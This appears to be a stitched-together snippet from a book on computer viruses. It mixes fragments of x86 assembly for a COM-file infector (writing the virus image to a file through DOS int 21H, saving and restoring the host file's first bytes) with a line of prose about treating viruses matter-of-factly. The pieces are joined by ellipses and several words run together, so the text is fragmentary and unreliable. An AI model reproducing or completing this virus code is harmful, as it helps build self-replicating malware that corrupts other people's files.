... mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE mov bx,WORD PTR [HANDLE] ;file handle mov ah,40H ;DOS write function int 21H mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack ... think of viruses as sort of ablack art. The purpose of this volume is to bring them out of thecloset and look at them matter -of- factly, to see them for what theyare, technically speaking: computer ... [HOST],ax ;5 orig bytes of COM file to start of file mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] mov WORD PTR [HOST+2],ax mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4]...